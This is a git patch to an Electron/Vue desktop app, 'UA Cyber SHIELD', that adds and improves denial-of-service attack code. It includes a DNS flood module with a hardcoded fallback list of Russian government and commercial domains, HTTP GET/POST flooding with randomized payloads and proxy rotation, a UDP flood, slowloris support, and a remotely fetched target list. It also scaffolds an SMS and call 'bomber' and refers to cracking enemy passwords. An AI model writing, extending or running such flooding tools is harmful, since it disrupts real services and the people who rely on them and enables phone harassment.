From a530d7f45af50c8d0c580f60cb5e4d46226a33a6 Mon Sep 17 00:00:00 2001 From: Mykola Zhyhallo Date: Sat, 23 Apr 2022 19:40:54 +0200 Subject: [PATCH] Improved DDOS algorithms --- package.json | 6 +- src-bomber/providers/provider.ts | 19 +++++ src-worker/algorithms/algorithm.ts | 11 ++- src-worker/algorithms/dnsFlood.ts | 82 +++++++++++++++++++ src-worker/algorithms/group.ts | 2 + src-worker/algorithms/post.ts | 27 ++++++ src-worker/algorithms/simpleHTTP.ts | 52 ++++++++---- src-worker/algorithms/udpFlood.ts | 26 ++++-- src-worker/algorithms/utils/ipRegex.ts | 44 ++++++++++ .../algorithms/utils/randomGenerators.ts | 55 +++++++++++++ src-worker/external/targetsPool.ts | 59 +++++++++++-- src-worker/planing/executor.ts | 5 ++ src/components/CountryCodeSelector.vue | 81 ++++++++++++++++++ src/i18n/en-US/index.ts | 15 ++++ src/i18n/ua-ua/index.ts | 15 ++++ src/layouts/MainLayout.vue | 6 ++ src/pages/Bomber.vue | 55 +++++++++++++ src/pages/Statistics.vue | 2 +- src/router/routes.ts | 1 + src/store/ddos/mutations.ts | 5 +- src/store/statistics/getters.ts | 2 +- yarn.lock | 22 +++++ 22 files changed, 558 insertions(+), 34 deletions(-) create mode 100644 src-bomber/providers/provider.ts create mode 100644 src-worker/algorithms/dnsFlood.ts create mode 100644 src-worker/algorithms/utils/ipRegex.ts create mode 100644 src-worker/algorithms/utils/randomGenerators.ts create mode 100644 src/components/CountryCodeSelector.vue create mode 100644 src/pages/Bomber.vue diff --git a/package.json b/package.json index b84d576..0e16fae 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "shield", - "version": "1.0.3", + "version": "1.0.4", "description": "Cyber security shield", "productName": "UA Cyber SHIELD", "author": "Mykola Zhyhallo ", @@ -32,6 +32,8 @@ "fs": "^0.0.1-security", "http-proxy-agent": "^5.0.0", "https-proxy-agent": "^5.0.0", + "is-valid-domain": "^0.1.6", + "is-valid-http-url": "^1.0.3", "node-localstorage": "^2.2.1", "path": "^0.12.7", "playwright-core": "^1.20.1", @@ -43,6 +45,7 @@ "universal-analytics": "^0.5.3", "user-agents": "^1.0.965", "uuid4": "^2.0.2", + "valid-url": "^1.0.9", "vue": "^3.0.0", "vue-i18n": "^9.0.0", "vue-router": "^4.0.0", @@ -58,6 +61,7 @@ "@types/universal-analytics": "^0.4.5", "@types/user-agents": "^1.0.2", "@types/uuid4": "^2.0.0", + "@types/valid-url": "^1.0.3", "@typescript-eslint/eslint-plugin": "^5.16.0", "@typescript-eslint/parser": "^5.16.0", "electron": "^17.1.0", diff --git a/src-bomber/providers/provider.ts b/src-bomber/providers/provider.ts new file mode 100644 index 0000000..867b954 --- /dev/null +++ b/src-bomber/providers/provider.ts @@ -0,0 +1,19 @@ +export interface ProviderHit { + ok: boolean +} + +export interface PhoneNumber { + countryCode: number + localPhone: number +} + +export abstract class Provider { + abstract get name(): string + + abstract setTarget(phone: PhoneNumber): void + + abstract start(): void + abstract stop(): void + + abstract execute (): Promise +} diff --git a/src-worker/algorithms/algorithm.ts b/src-worker/algorithms/algorithm.ts index 5b27191..2b3ef33 100644 --- a/src-worker/algorithms/algorithm.ts +++ b/src-worker/algorithms/algorithm.ts @@ -17,7 +17,7 @@ export interface ExecutionResult { target: Target } -export type AlgorithmType = 'get' | 'post' | 'udp_flood' | 'slowloris' +export type AlgorithmType = 'get' | 'post' | 'udp_flood' | 'slowloris' | 'dns_flood' export type runningValidation = () => boolean export abstract class Algorithm { @@ -27,8 +27,17 @@ export abstract class Algorithm { this.config = config } + /** + * Check if target data is valid for this algorithm + */ abstract isValid (target: Target): boolean + /** + * Check if algorithm can be executed for current target with current settings + */ + // eslint-disable-next-line @typescript-eslint/no-unused-vars + canExecute (target: Target): boolean { return true } + /** * Run one iteration of the algorithm */ diff --git a/src-worker/algorithms/dnsFlood.ts b/src-worker/algorithms/dnsFlood.ts new file mode 100644 index 0000000..5b43990 --- /dev/null +++ b/src-worker/algorithms/dnsFlood.ts @@ -0,0 +1,82 @@ +import IpRegex from './utils/ipRegex' +import isValidDomain from 'is-valid-domain' +import { Resolver } from 'dns/promises' + +import { UDPFloodTarget } from '../external/targetsPool' +import { Algorithm, ExecutionResult } from './algorithm' + +const BACKUP_SERVERS_DOMAINS = [ + 'yandex.ru', + 'rostender.info', + 'gosuslugi.ru', + 'kremlin.ru', + 'government.ru', + 'pfr.gov.ru', + 'rkn.gov.ru', + 'mvd.gov.ru', + 'rostender.info', + 'cdek.ru', + 'datrans.ru', + 'qiwi.com', + 'svo.aero' +] as Array + +export class DNSFlood extends Algorithm { + isValid (target: UDPFloodTarget): boolean { + const result = typeof target.ip === 'string' && + IpRegex.v4({ exact: true, includeBoundaries: true }).test(target.ip) && + typeof target.port === 'number' && + target.port > 0 && target.port <= 65535 + if (result === false) { return false } + + if (target.domains !== undefined) { + if (!Array.isArray(target.domains)) return false + for (const domain of target.domains) { + if (!isValidDomain(domain)) return false + } + } + + return true + } + + canExecute (): boolean { + return this.config.useRealIP + } + + async execute (target: UDPFloodTarget, isRunning: () => boolean): Promise { + let packetsSend = 0 + let repeats = 48 + Math.floor(Math.random() * 32) + const resolver = new Resolver({ + timeout: 10000 + }) + resolver.setServers([`${target.ip}:${target.port}`]) + + const domainsList = (target.domains !== undefined && target.domains.length > 0) ? target.domains : BACKUP_SERVERS_DOMAINS + + let randomTarget = null as string | null + + while (repeats > 0 && isRunning()) { + repeats -= 1 + + if (randomTarget === null) { + randomTarget = domainsList[Math.floor(Math.random() * domainsList.length)] + } + + try { + packetsSend += 1 + if (this.config.logRequests) { + if (this.config.logTimestamp) { + console.log(`${new Date().toISOString()} | DNS | ${target.ip} | ${target.port}`) + } else { + console.log(`DNS | ${target.ip} | ${target.port}`) + } + } + await resolver.resolve4(randomTarget) + } catch (e) { + randomTarget = null + } + } + + return { packetsSend, packetsSuccess: 0, target, packetsNeutral: packetsSend } + } +} diff --git a/src-worker/algorithms/group.ts b/src-worker/algorithms/group.ts index 7e6f6fb..2a50f39 100644 --- a/src-worker/algorithms/group.ts +++ b/src-worker/algorithms/group.ts @@ -3,6 +3,7 @@ import { Get } from './get' import { Post } from './post' import { UDPFlood } from './udpFlood' import { SlowLoris } from './slowloris' +import { DNSFlood } from './dnsFlood' import { ProxyPool } from '../external/proxyPool' @@ -15,6 +16,7 @@ export class AlgorithmGroup { this.algorithmMap.set('post', new Post(config, proxyPool)) this.algorithmMap.set('udp_flood', new UDPFlood(config)) this.algorithmMap.set('slowloris', new SlowLoris(config)) + this.algorithmMap.set('dns_flood', new DNSFlood(config)) } getByType (algorithmType: AlgorithmType) : Algorithm { diff --git a/src-worker/algorithms/post.ts b/src-worker/algorithms/post.ts index 4508f98..fdbb56c 100644 --- a/src-worker/algorithms/post.ts +++ b/src-worker/algorithms/post.ts @@ -1,7 +1,34 @@ +import { SuperAgentRequest } from 'superagent' +import { PostTarget } from '../external/targetsPool' import { SimpleHTTP } from './simpleHTTP' +import { getRandomValue } from './utils/randomGenerators' export class Post extends SimpleHTTP { get method (): 'POST' { return 'POST' } + + protected beforeRequest (agent: SuperAgentRequest, target: PostTarget): SuperAgentRequest { + agent = agent.set('Content-Type', 'application/json') + agent = agent.send(this.makeRequestBody(target)) + return agent + } + + protected makeRequestBody (target: PostTarget): string | undefined { + let body = target.body + + if (typeof body !== 'string') { + return undefined + } + + if (Array.isArray(target.randomGenerators)) { + for (const generator of target.randomGenerators) { + if (typeof generator.name === 'string') { + body = body.replace(`%%%${generator.name}%%%`, () => getRandomValue(generator)) + } + } + } + + return body + } } diff --git a/src-worker/algorithms/simpleHTTP.ts b/src-worker/algorithms/simpleHTTP.ts index 2bf1dd6..461d48e 100644 --- a/src-worker/algorithms/simpleHTTP.ts +++ b/src-worker/algorithms/simpleHTTP.ts @@ -1,4 +1,7 @@ -import agent from 'superagent' +import agent, { SuperAgentRequest } from 'superagent' +import { isWebUri } from 'valid-url' + +import { getRandomValue } from './utils/randomGenerators' import CacheableLookup, { CacheInstance } from 'cacheable-lookup' import QuickLRU from './utils/lru' @@ -7,7 +10,7 @@ import { HttpProxyAgent } from 'http-proxy-agent' import { HttpsProxyAgent } from 'https-proxy-agent' import { SocksProxyAgent } from 'socks-proxy-agent' -import { GetTarget } from '../external/targetsPool' +import { GetTarget, PostTarget } from '../external/targetsPool' import { Proxy, ProxyPool } from '../external/proxyPool' import { Algorithm, Config, ExecutionResult } from './algorithm' @@ -32,14 +35,11 @@ export abstract class SimpleHTTP extends Algorithm { }) } - isValid (target: GetTarget): boolean { - if (typeof target.page !== 'string' || !target.page.startsWith('http')) { - return false - } - return true + isValid (target: GetTarget | PostTarget): boolean { + return isWebUri(target.page) !== undefined } - async execute (target: GetTarget, isRunning: () => boolean): Promise { + async execute (target: GetTarget | PostTarget, isRunning: () => boolean): Promise { // Setting up proxy config let packetsSend = 0, packetsSuccess = 0 @@ -66,7 +66,7 @@ export abstract class SimpleHTTP extends Algorithm { let success = true while (success && repeats > 0 && isRunning()) { - success = await this.makeRequest(target.page, proxyAgent) + success = await this.makeRequest(target, proxyAgent) packetsSend += 1 repeats -= 1 if (success) { @@ -81,10 +81,11 @@ export abstract class SimpleHTTP extends Algorithm { return { packetsSend, packetsSuccess, target, packetsNeutral: 0 } } - protected async makeRequest (url: string, httpAgent: HttpProxyAgent | HttpsProxyAgent | SocksProxyAgent | null) { + protected async makeRequest (target: GetTarget | PostTarget, httpAgent: HttpProxyAgent | HttpsProxyAgent | SocksProxyAgent | null) { try { const headers = HttpHeadersUtils.generateRequestHeaders() - let request = agent(this.method, url) + const requestURL = this.makeRequestURL(target) + let request = agent(this.method, requestURL) if (httpAgent !== null) { request = request.agent(httpAgent) } @@ -92,30 +93,37 @@ export abstract class SimpleHTTP extends Algorithm { request = request.set('Accept', headers.Accept) request = request.set('Accept-Language', headers['Accept-Language']) request = request.set('User-Agent', headers['User-Agent']) + request = this.beforeRequest(request, target) const response = await request.timeout(this.config.timeout) if (this.config.logRequests) { + const logURL = (typeof target.name === 'string') ? target.name : target.page if (this.config.logTimestamp) { - console.log(`${new Date().toISOString()} | ${url} | ${response.status}`) + console.log(`${new Date().toISOString()} | HTTP | ${logURL} | ${response.status}`) } else { - console.log(`${url} | ${response.status}`) + console.log(`HTTP | ${logURL} | ${response.status}`) } } return true } catch (e) { if (this.config.logRequests) { + const logURL = (typeof target.name === 'string') ? target.name : target.page if (this.config.logTimestamp) { - console.log(`${new Date().toISOString()} | ${url} | DOWN OR BLOCKED`) + console.log(`${new Date().toISOString()} | HTTP | ${logURL} | DOWN OR BLOCKED`) } else { - console.log(`${url} | DOWN OR BLOCKED`) + console.log(`HTTP | ${logURL} | DOWN OR BLOCKED`) } } return false } } + protected beforeRequest (agent: SuperAgentRequest, target: GetTarget | PostTarget): SuperAgentRequest { + return agent + } + protected makeRequestAgent (page: string, proxy: Proxy) { if (proxy.scheme === 'socks4' || proxy.scheme === 'socks5') { // throw new Error('Socks4 and socks5 are not implemented') @@ -149,4 +157,18 @@ export abstract class SimpleHTTP extends Algorithm { return new HttpProxyAgent(options) } } + + protected makeRequestURL (target: GetTarget | PostTarget): string { + let url = target.page + + if (Array.isArray(target.randomGenerators)) { + for (const generator of target.randomGenerators) { + if (typeof generator.name === 'string') { + url = url.replace(`%%%${generator.name}%%%`, () => getRandomValue(generator)) + } + } + } + + return url + } } diff --git a/src-worker/algorithms/udpFlood.ts b/src-worker/algorithms/udpFlood.ts index a657b9d..071601c 100644 --- a/src-worker/algorithms/udpFlood.ts +++ b/src-worker/algorithms/udpFlood.ts @@ -1,3 +1,5 @@ +import IpRegex from './utils/ipRegex' + import { createSocket } from 'dgram' import { randomBytes } from 'crypto' @@ -18,13 +20,17 @@ export class UDPFlood extends Algorithm { } isValid (target: UDPFloodTarget): boolean { - if (typeof target.ip !== 'string' || typeof target.port !== 'number') { - return false - } - return true + return typeof target.ip === 'string' && + IpRegex.v4({ exact: true, includeBoundaries: true }).test(target.ip) && + typeof target.port === 'number' && + target.port > 0 && target.port <= 65535 + } + + canExecute (): boolean { + return this.config.useRealIP } - async execute (target: UDPFloodTarget): Promise { + async execute (target: UDPFloodTarget, isRunning: () => boolean): Promise { if (this.currentWorkers >= this.MAX_CONCURRENT_WORKERS) { await sleep(50) return { packetsSend: 1, packetsSuccess: 0, target, packetsNeutral: 1 } @@ -36,13 +42,19 @@ export class UDPFlood extends Algorithm { let packetsSend = 0 let repeats = 48 + Math.floor(Math.random() * 32) - while (repeats > 0) { + while (repeats > 0 && isRunning()) { repeats -= 1 try { const request = new Promise((resolve, reject) => { const rand = randomBytes(16 + Math.floor(Math.random() * 16)) - console.log(`${new Date().toISOString()} | UDP | ${target.ip} | ${target.port}`) + if (this.config.logRequests) { + if (this.config.logTimestamp) { + console.log(`${new Date().toISOString()} | UDP | ${target.ip} | ${target.port}`) + } else { + console.log(`UDP | ${target.ip} | ${target.port}`) + } + } client.send(rand, target.port, target.ip, (error, bytes) => { if (error === null) { resolve(bytes) diff --git a/src-worker/algorithms/utils/ipRegex.ts b/src-worker/algorithms/utils/ipRegex.ts new file mode 100644 index 0000000..123a15f --- /dev/null +++ b/src-worker/algorithms/utils/ipRegex.ts @@ -0,0 +1,44 @@ +// Code was copiend because of module import problems. +// https://github.com/sindresorhus/ip-regex/blob/main/index.js + +export interface Options { + exact?: boolean + includeBoundaries?: boolean +} + +const word = '[a-fA-F\\d:]' + +const boundry = (options: Options) => options && options.includeBoundaries + ? `(?:(?<=\\s|^)(?=${word})|(?<=${word})(?=\\s|$))` + : '' + +const v4 = '(?:25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]\\d|\\d)(?:\\.(?:25[0-5]|2[0-4]\\d|1\\d\\d|[1-9]\\d|\\d)){3}' + +const v6segment = '[a-fA-F\\d]{1,4}' + +const v6 = ` +(?: +(?:${v6segment}:){7}(?:${v6segment}|:)| // 1:2:3:4:5:6:7:: 1:2:3:4:5:6:7:8 +(?:${v6segment}:){6}(?:${v4}|:${v6segment}|:)| // 1:2:3:4:5:6:: 1:2:3:4:5:6::8 1:2:3:4:5:6::8 1:2:3:4:5:6::1.2.3.4 +(?:${v6segment}:){5}(?::${v4}|(?::${v6segment}){1,2}|:)| // 1:2:3:4:5:: 1:2:3:4:5::7:8 1:2:3:4:5::8 1:2:3:4:5::7:1.2.3.4 +(?:${v6segment}:){4}(?:(?::${v6segment}){0,1}:${v4}|(?::${v6segment}){1,3}|:)| // 1:2:3:4:: 1:2:3:4::6:7:8 1:2:3:4::8 1:2:3:4::6:7:1.2.3.4 +(?:${v6segment}:){3}(?:(?::${v6segment}){0,2}:${v4}|(?::${v6segment}){1,4}|:)| // 1:2:3:: 1:2:3::5:6:7:8 1:2:3::8 1:2:3::5:6:7:1.2.3.4 +(?:${v6segment}:){2}(?:(?::${v6segment}){0,3}:${v4}|(?::${v6segment}){1,5}|:)| // 1:2:: 1:2::4:5:6:7:8 1:2::8 1:2::4:5:6:7:1.2.3.4 +(?:${v6segment}:){1}(?:(?::${v6segment}){0,4}:${v4}|(?::${v6segment}){1,6}|:)| // 1:: 1::3:4:5:6:7:8 1::8 1::3:4:5:6:7:1.2.3.4 +(?::(?:(?::${v6segment}){0,5}:${v4}|(?::${v6segment}){1,7}|:)) // ::2:3:4:5:6:7:8 ::2:3:4:5:6:7:8 ::8 ::1.2.3.4 +)(?:%[0-9a-zA-Z]{1,})? // %eth0 %1 +`.replace(/\s*\/\/.*$/gm, '').replace(/\n/g, '').trim() + +// Pre-compile only the exact regexes because adding a global flag make regexes stateful +const v46Exact = new RegExp(`(?:^${v4}$)|(?:^${v6}$)`) +const v4exact = new RegExp(`^${v4}$`) +const v6exact = new RegExp(`^${v6}$`) + +const ipRegex = (options: Options) => options && options.exact + ? v46Exact + : new RegExp(`(?:${boundry(options)}${v4}${boundry(options)})|(?:${boundry(options)}${v6}${boundry(options)})`, 'g') + +ipRegex.v4 = (options: Options) => options && options.exact ? v4exact : new RegExp(`${boundry(options)}${v4}${boundry(options)}`, 'g') +ipRegex.v6 = (options: Options) => options && options.exact ? v6exact : new RegExp(`${boundry(options)}${v6}${boundry(options)}`, 'g') + +export default ipRegex diff --git a/src-worker/algorithms/utils/randomGenerators.ts b/src-worker/algorithms/utils/randomGenerators.ts new file mode 100644 index 0000000..96f5121 --- /dev/null +++ b/src-worker/algorithms/utils/randomGenerators.ts @@ -0,0 +1,55 @@ +import dayjs from 'dayjs' +import { EnumRandomGenerator, StringRandomGenerator, IntegerRandomGenerator, DateRandomGenerator } from '../../external/targetsPool' + +const CHARSET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' + +export function getEnumRandomValue (generator: EnumRandomGenerator): string { + if (Array.isArray(generator.values) && generator.values.length > 0) { + const value = generator.values[Math.floor(Math.random() * generator.values.length)] + return String(value).toString() + } + return '' +} + +export function getStringRandomValue (generator: StringRandomGenerator): string { + let length = generator.length + if (length === undefined || length <= 0) { + const minLength = (generator.minLength !== undefined && !isNaN(generator.minLength)) ? generator.minLength : 1 + const maxLength = (generator.maxLength !== undefined && !isNaN(generator.maxLength)) ? generator.maxLength : 256 + if (minLength <= maxLength) { + length = Math.floor(Math.random() * (maxLength - minLength)) + minLength + } else { + length = maxLength + } + } + length = Math.max(1, Math.min(256, length)) + + return [...Array(length)].map(() => CHARSET[Math.floor(Math.random() * CHARSET.length)]).join('') +} + +export function getIntegerRandomString (generator: IntegerRandomGenerator): string { + const minValue = (generator.minValue !== undefined && !isNaN(generator.minValue)) ? generator.minValue : 0 + const maxValue = (generator.maxValue !== undefined && !isNaN(generator.maxValue)) ? generator.maxValue : 1000000 + const value = Math.floor(Math.random() * (maxValue - minValue)) + minValue + return value.toString() +} + +export function getDateRandomString (generator: DateRandomGenerator): string { + const start = (generator.minValue !== undefined && !isNaN(Date.parse(generator.minValue))) ? new Date(generator.minValue) : new Date(1900, 1, 1) + let end = (generator.maxValue !== undefined && !isNaN(Date.parse(generator.maxValue))) ? new Date(generator.maxValue) : new Date() + if (end < start) { + end = start + } + const randomDate = new Date(start.getTime() + Math.random() * (end.getTime() - start.getTime())) + return dayjs(randomDate).format(generator.format) +} + +export function getRandomValue (generator: StringRandomGenerator | IntegerRandomGenerator | DateRandomGenerator | EnumRandomGenerator): string { + switch (generator.type) { + case 'enum': return getEnumRandomValue(generator) + case 'string': return getStringRandomValue(generator) + case 'integer': return getIntegerRandomString(generator) + case 'date': return getDateRandomString(generator) + } + return '' +} diff --git a/src-worker/external/targetsPool.ts b/src-worker/external/targetsPool.ts index d23db36..9aedadc 100644 --- a/src-worker/external/targetsPool.ts +++ b/src-worker/external/targetsPool.ts @@ -1,29 +1,76 @@ import { Axios, AxiosResponse, AxiosError } from 'axios' -const targetMethods = ['get', 'post', 'udp_flood', 'slowloris'] +const targetMethods = ['get', 'post', 'udp_flood', 'slowloris', 'dns_flood'] +type TargetMethod = 'get' | 'post' | 'udp_flood' | 'slowloris' | 'dns_flood' + +export interface StringRandomGenerator { + type: 'string' + name: string + length?: number + minLength?: number + maxLength?: number +} + +export interface EnumRandomGenerator { + type: 'enum' + name: string + values: Array +} + +export interface IntegerRandomGenerator { + type: 'integer' + name: string + minValue?: number + maxValue?: number +} + +export interface DateRandomGenerator { + type: 'date' + name: string + /** + * https://day.js.org/docs/en/display/format + */ + format: string + minValue?: string + maxValue?: string +} + +export interface TargetBase { + method: TargetMethod + name?: string + randomGenerators?: Array +} -export interface UDPFloodTarget { +export interface UDPFloodTarget extends TargetBase { method: 'udp_flood' ip: string port: number + domains?: Array +} + +export interface DNSFloodTarget extends TargetBase { + method: 'dns_flood' + ip: string + port: number } -export interface SlowLorisTarget { +export interface SlowLorisTarget extends TargetBase { method: 'slowloris' page: string } -export interface GetTarget { +export interface GetTarget extends TargetBase { method: 'get' page: string } -export interface PostTarget { +export interface PostTarget extends TargetBase { method: 'post' page: string + body?: string } -export type Target = GetTarget | PostTarget | UDPFloodTarget | SlowLorisTarget +export type Target = GetTarget | PostTarget | UDPFloodTarget | SlowLorisTarget | DNSFloodTarget const SOURCES_URL = 'https://raw.githubusercontent.com/opengs/uashieldtargets/master/target_sources.json' interface Source { diff --git a/src-worker/planing/executor.ts b/src-worker/planing/executor.ts index 667c9d7..2f3a542 100644 --- a/src-worker/planing/executor.ts +++ b/src-worker/planing/executor.ts @@ -67,6 +67,11 @@ export class Executor { const algorithm = this.algorithmGroup.getByType(target.method) + if (algorithm === undefined) { + this.targetsPool.deleteTarget(target) + return + } + // delete the target from the targetsPool if it is not valid if (!algorithm.isValid(target)) { this.targetsPool.deleteTarget(target) diff --git a/src/components/CountryCodeSelector.vue b/src/components/CountryCodeSelector.vue new file mode 100644 index 0000000..ae3975d --- /dev/null +++ b/src/components/CountryCodeSelector.vue @@ -0,0 +1,81 @@ + + + diff --git a/src/i18n/en-US/index.ts b/src/i18n/en-US/index.ts index fb4da37..73bd1f0 100644 --- a/src/i18n/en-US/index.ts +++ b/src/i18n/en-US/index.ts @@ -5,6 +5,7 @@ export default { dashboard: 'Dashboard', ddos: 'DDoS', bruteforce: 'Brute force', + bomber: 'Bomber', statistics: 'Statistics', settings: 'Settings' }, @@ -21,6 +22,10 @@ export default { title: 'Brute Force', caption: 'Cracking enemy passwords' }, + bomber: { + title: 'Bomber', + caption: 'Bombarding with SMS and calls' + }, statistics: { title: 'Statistics', caption: 'My statistics' @@ -92,6 +97,16 @@ export default { } } }, + bomber: { + header: 'Phone bomber', + description: 'Bomber sends SMS and makes phone calls to the target. You must have enabled VPN for this attack. Remember, that while everyone uses bomber, efficiency may be very low.', + running: { + title: 'Attack enabled', + caption: 'Start or stop attack' + }, + successFullAttacks: 'Successfull attacks: ', + failedAttacks: 'Failed attacks: ' + }, statistics: { rank: { title: 'Rank', diff --git a/src/i18n/ua-ua/index.ts b/src/i18n/ua-ua/index.ts index 2745576..d68df67 100644 --- a/src/i18n/ua-ua/index.ts +++ b/src/i18n/ua-ua/index.ts @@ -5,6 +5,7 @@ export default { dashboard: 'Панель керування', ddos: 'DDoS', bruteforce: 'Brute force', + bomber: 'Бомбер', statistics: 'Статистика', settings: 'Налаштування' }, @@ -21,6 +22,10 @@ export default { title: 'Brute Force', caption: 'Взлом паролів противника' }, + bomber: { + title: 'Бомбер', + caption: 'Бомбардування телефонів через CМС та звінки' + }, statistics: { title: 'Статистика', caption: 'Моя статистика' @@ -100,6 +105,16 @@ export default { confirm: 'Встановити оновлення' } }, + bomber: { + header: 'Телефонний бомбер', + description: 'Бомбер висилає велику кількість СМС та пробує зробити звінки на телефон жертви. Для цієї атаки обовязково потрібен включений VPN. Памятайте, що цей бомбер використовують одночасно тисячі осіб. Тому ефективнітсть може бути дуже малою', + running: { + title: 'Атака включена', + caption: 'Включити виключити бомбера' + }, + successFullAttacks: 'Вдалих атак: ', + failedAttacks: 'Невдалих: ' + }, statistics: { rank: { title: 'Звання', diff --git a/src/layouts/MainLayout.vue b/src/layouts/MainLayout.vue index c2c7e83..c6dc0b4 100644 --- a/src/layouts/MainLayout.vue +++ b/src/layouts/MainLayout.vue @@ -62,6 +62,12 @@ const menuList = [ caption: 'layout.menu.bruteforce.caption', icon: 'password' }, + /* { + link: 'bomber', + title: 'layout.menu.bomber.title', + caption: 'layout.menu.bomber.caption', + icon: 'smartphone' + }, */ { link: 'statistics', title: 'layout.menu.statistics.title', diff --git a/src/pages/Bomber.vue b/src/pages/Bomber.vue new file mode 100644 index 0000000..115c0ed --- /dev/null +++ b/src/pages/Bomber.vue @@ -0,0 +1,55 @@ + + + + + diff --git a/src/pages/Statistics.vue b/src/pages/Statistics.vue index 846112d..a11a550 100644 --- a/src/pages/Statistics.vue +++ b/src/pages/Statistics.vue @@ -9,7 +9,7 @@ {{ $t('statistics.rank.level.' + (i - 1) ) }} - {{ (i - 1) * 1100000 }} + {{ (i - 1) * 3000000 }} diff --git a/src/router/routes.ts b/src/router/routes.ts index f1e9add..3938d99 100644 --- a/src/router/routes.ts +++ b/src/router/routes.ts @@ -9,6 +9,7 @@ const routes: RouteRecordRaw[] = [ { path: 'dashboard', name: 'dashboard', component: () => import('pages/Dashboard.vue') }, { path: 'ddos', name: 'ddos', component: () => import('pages/DDoS.vue') }, { path: 'bruteforce', name: 'bruteforce', component: () => import('pages/BruteForce.vue') }, + { path: 'bomber', name: 'bomber', component: () => import('pages/Bomber.vue') }, { path: 'statistics', name: 'statistics', component: () => import('pages/Statistics.vue') }, { path: 'settings', name: 'settings', component: () => import('pages/Settings.vue') } ] diff --git a/src/store/ddos/mutations.ts b/src/store/ddos/mutations.ts index 55d3f15..265bc91 100644 --- a/src/store/ddos/mutations.ts +++ b/src/store/ddos/mutations.ts @@ -24,9 +24,10 @@ const mutation: MutationTree = { storage.withProxy = newValue }, - HANDLE_ATACK (storage, data: { target: { page: string }, packetsSend: number, packetsSuccess: number, packetsNeutral: number }) { + HANDLE_ATACK (storage, data: { target: { page: string, name?: string, method: string }, packetsSend: number, packetsSuccess: number, packetsNeutral: number }) { if ((new Date()).getTime() - storage.lastAttackChange.getTime() > 1000) { - storage.currentAttack = data.target.page + const targetName = (data.target.name !== undefined) ? data.target.name : data.target.page + storage.currentAttack = `${data.target.method} | ${targetName}` storage.lastAttackChange = new Date() } storage.requestsInSession += data.packetsSend diff --git a/src/store/statistics/getters.ts b/src/store/statistics/getters.ts index 8202173..3ef088f 100644 --- a/src/store/statistics/getters.ts +++ b/src/store/statistics/getters.ts @@ -18,7 +18,7 @@ export interface StatisticsGetters { const getters: GetterTree = { rank ({ ddos }) { - return Math.min(Math.floor(ddos.allTimeRequests / 1100000), 24) + return Math.min(Math.floor(ddos.allTimeSuccessfullRequests / 3000000), 24) }, ddosAllTimeRequests ({ ddos }) { diff --git a/yarn.lock b/yarn.lock index 1d4b2d2..f6af688 100644 --- a/yarn.lock +++ b/yarn.lock @@ -1557,6 +1557,11 @@ resolved "https://registry.yarnpkg.com/@types/uuid4/-/uuid4-2.0.0.tgz#40a5376b7cbfde4f905403ab0e10d32b81aff341" integrity sha512-lIeYnpveYni+lqo9X10IuFI11n/3l6RjxQvlVXVcijLp/w3jj+1CGX/dRIRJVtbO5ta6xYA9Xd3QqWGwUMvvng== +"@types/valid-url@^1.0.3": + version "1.0.3" + resolved "https://registry.yarnpkg.com/@types/valid-url/-/valid-url-1.0.3.tgz#a124389fb953559c7f889795a98620e91adb3687" + integrity sha512-+33x29mg+ecU88ODdWpqaie2upIuRkhujVLA7TuJjM823cNMbeggfI6NhxewaRaRF8dy+g33e4uIg/m5Mb3xDQ== + "@types/verror@^1.10.3": version "1.10.5" resolved "https://registry.yarnpkg.com/@types/verror/-/verror-1.10.5.tgz#2a1413aded46e67a1fe2386800e291123ed75eb1" @@ -5909,6 +5914,18 @@ is-unicode-supported@^0.1.0: resolved "https://registry.yarnpkg.com/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz#3f26c76a809593b52bfa2ecb5710ed2779b522a7" integrity sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw== +is-valid-domain@^0.1.6: + version "0.1.6" + resolved "https://registry.yarnpkg.com/is-valid-domain/-/is-valid-domain-0.1.6.tgz#3c85469d2938f170c8f82ce6e52df8ad9fca8105" + integrity sha512-ZKtq737eFkZr71At8NxOFcP9O1K89gW3DkdrGMpp1upr/ueWjj+Weh4l9AI4rN0Gt8W2M1w7jrG2b/Yv83Ljpg== + dependencies: + punycode "^2.1.1" + +is-valid-http-url@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/is-valid-http-url/-/is-valid-http-url-1.0.3.tgz#ced7d289299a534fdafdbf993d963f8a576e445d" + integrity sha512-lrPp25k/Ft3HdusDBdXqne9lNKDtN0HWIHNuC9cfzuFBLlay/gyQeBJukUR1smjyp+zw+gJ5E9wHonpcE9kiCQ== + is-weakref@^1.0.2: version "1.0.2" resolved "https://registry.yarnpkg.com/is-weakref/-/is-weakref-1.0.2.tgz#9529f383a9338205e89765e0392efc2f100f06f2" @@ -9271,6 +9288,11 @@ v8-compile-cache@^2.0.3: resolved "https://registry.yarnpkg.com/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz#2de19618c66dc247dcfb6f99338035d8245a2cee" integrity sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA== +valid-url@^1.0.9: + version "1.0.9" + resolved "https://registry.yarnpkg.com/valid-url/-/valid-url-1.0.9.tgz#1c14479b40f1397a75782f115e4086447433a200" + integrity sha1-HBRHm0DxOXp1eC8RXkCGRHQzogA= + validate-npm-package-license@^3.0.1: version "3.0.4" resolved "https://registry.yarnpkg.com/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz#fc91f6b9c7ba15c857f4cb2c5defeec39d4f410a"